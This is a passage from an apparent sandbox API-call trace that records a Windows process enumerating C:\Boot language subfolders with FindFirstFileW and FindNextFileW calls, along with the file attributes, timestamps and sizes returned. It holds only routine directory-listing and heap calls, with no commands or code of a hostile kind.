lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.592] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.592] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.592] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.592] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.592] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0034.592] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.592] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.747] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.747] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.747] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.747] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0034.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.747] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.747] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.747] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.748] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.748] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.748] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0034.748] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.748] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.312] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.312] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.312] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.312] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.312] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0035.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.313] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.313] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.313] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.313] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.313] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.313] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0035.313] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.313] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.365] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.365] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.365] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.365] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.365] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0035.365] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.365] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.365] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.365] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.366] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.366] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.366] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.366] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.375] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.375] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.376] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.376] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0035.376] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.376] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.376] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.376] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.376] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.376] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.376] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0035.376] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.376] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.378] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.378] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.379] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0035.379] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.379] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.379] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, 